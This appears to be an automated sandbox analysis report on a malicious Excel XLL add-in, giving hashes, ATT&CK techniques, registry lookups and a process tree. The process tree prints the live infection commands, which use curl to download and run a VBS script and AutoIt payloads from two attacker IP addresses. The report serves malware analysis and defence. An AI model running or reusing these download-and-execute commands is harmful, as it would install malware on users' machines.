98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

Analysis

max time kernel
139s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
21-09-2023 16:51

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General

Target

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll
Size

50KB
MD5

8866d0e530cb613fde59c5476ea6c331
SHA1

e77beeb201303b739a9c4536514e48adc2118900
SHA256

98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA512

73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
SSDEEP

1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

39 1708 WScript.exe

flow	pid	process
39	1708	WScript.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

me.execmd.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	me.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

Processes:

me.exeghex.exeghex.exe

pid process

4036 me.exe
3860 ghex.exe
2856 ghex.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

4248 EXCEL.EXE
4248 EXCEL.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4036	me.exe
3860	ghex.exe
2856	ghex.exe

pid	process
4248	EXCEL.EXE
4248	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2316 timeout.exe

pid	process
2316	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings cmd.exe
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 39 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4248 EXCEL.EXE
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

4248 EXCEL.EXE
4248 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE
4248 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings	cmd.exe

description	flow	ioc
HTTP User-Agent header	39	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
4248	EXCEL.EXE

pid	process
4248	EXCEL.EXE
4248	EXCEL.EXE

pid	process
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE
4248	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

EXCEL.EXEme.execmd.exeWScript.execmd.exe

description	pid	process	target process
PID 4248 wrote to memory of 4036	4248	EXCEL.EXE	me.exe
PID 4248 wrote to memory of 4036	4248	EXCEL.EXE	me.exe
PID 4036 wrote to memory of 3628	4036	me.exe	cmd.exe
PID 4036 wrote to memory of 3628	4036	me.exe	cmd.exe
PID 3628 wrote to memory of 3848	3628	cmd.exe	curl.exe
PID 3628 wrote to memory of 3848	3628	cmd.exe	curl.exe
PID 3628 wrote to memory of 2316	3628	cmd.exe	timeout.exe
PID 3628 wrote to memory of 2316	3628	cmd.exe	timeout.exe
PID 3628 wrote to memory of 1708	3628	cmd.exe	WScript.exe
PID 3628 wrote to memory of 1708	3628	cmd.exe	WScript.exe
PID 1708 wrote to memory of 4624	1708	WScript.exe	cmd.exe
PID 1708 wrote to memory of 4624	1708	WScript.exe	cmd.exe
PID 4624 wrote to memory of 3860	4624	cmd.exe	ghex.exe
PID 4624 wrote to memory of 3860	4624	cmd.exe	ghex.exe
PID 4624 wrote to memory of 2856	4624	cmd.exe	ghex.exe
PID 4624 wrote to memory of 2856	4624	cmd.exe	ghex.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4248

C:\Users\Public\me.exe
C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs
3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3628

C:\Windows\system32\curl.exe
C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123
4⤵
PID:3848

C:\Windows\system32\timeout.exe
timeout 10
4⤵
- Delays execution with timeout.exe
PID:2316

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"
4⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c mkdir c:\ghex & cd /d c:\ghex & copy c:\windows\system32\curl.exe ghex.exe & ghex -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & ghex -o mhmbjb.au3 http://94.228.169.143:2351/msighexmaeh & Autoit3.exe mhmbjb.au3
5⤵
- Suspicious use of WriteProcessMemory
PID:4624

\??\c:\ghex\ghex.exe
ghex -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351
6⤵
- Executes dropped EXE
PID:3860

\??\c:\ghex\ghex.exe
ghex -o mhmbjb.au3 http://94.228.169.143:2351/msighexmaeh
6⤵
- Executes dropped EXE
PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

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C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f.xll

Filesize
50KB

MD5
8866d0e530cb613fde59c5476ea6c331

SHA1
e77beeb201303b739a9c4536514e48adc2118900

SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f

SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\Users\Public\me.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

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C:\ghex\ghex.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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C:\ghex\ghex.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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C:\users\public\1.vbs

Filesize
7KB

MD5
3097620a3397d233ac975f13d30c736a

SHA1
c8ad6cb81dfe4ec1005c2ad12550251d3f76e307

SHA256
b2cf2f92ab493c531a4ec7c0c9eb6f86cbb400f5bd63086054ab8e67336d78a7

SHA512
0d84a9e296188f3a3d5097d851fda3aaeebdd2bfa1e57d14b7517fd795d81d139e833b87602ca81bb87bdaefe360161c70d27b49f581365bc288d2fb683542d9

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\??\c:\ghex\Autoit3.exe

Filesize
872KB

MD5
a450a98579a0184c98f24bfe13346dd1

SHA1
066b4770b49baa099dd03737bc0dcf27ce4e6204

SHA256
4991fd43bc06aa10a3438615087abea5a2c864fbd017a341a9d3d8bdeb694483

SHA512
eec47eac7ee18204f8247d2ffc22d27d63259c99420cc047046793aca33be440cb290b438b9dc3282a5e57e40f5582c78ea7a051a17525626885d24629141add

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\??\c:\ghex\ghex.exe

Filesize
411KB

MD5
1c3645ebddbe2da6a32a5f9fb43a3c23

SHA1
086f74a35d5afed78ae50cf5586fafffb7845464

SHA256
0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

SHA512
ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

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memory/4248-11-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-7-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-0-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-12-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-13-0x00007FF866B10000-0x00007FF866B20000-memory.dmp

Filesize
64KB

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memory/4248-14-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-15-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-16-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-17-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-18-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-19-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-20-0x00007FF866B10000-0x00007FF866B20000-memory.dmp

Filesize
64KB

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memory/4248-21-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-22-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-9-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-3-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-8-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-10-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-33-0x00007FF8A37F0000-0x00007FF8A3805000-memory.dmp

Filesize
84KB

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memory/4248-34-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-35-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-6-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-5-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-4-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-2-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-1-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-62-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-63-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-64-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-65-0x00007FF869470000-0x00007FF869480000-memory.dmp

Filesize
64KB

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memory/4248-66-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-67-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-68-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-69-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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memory/4248-70-0x00007FF8A93F0000-0x00007FF8A95E5000-memory.dmp

Filesize
2.0MB

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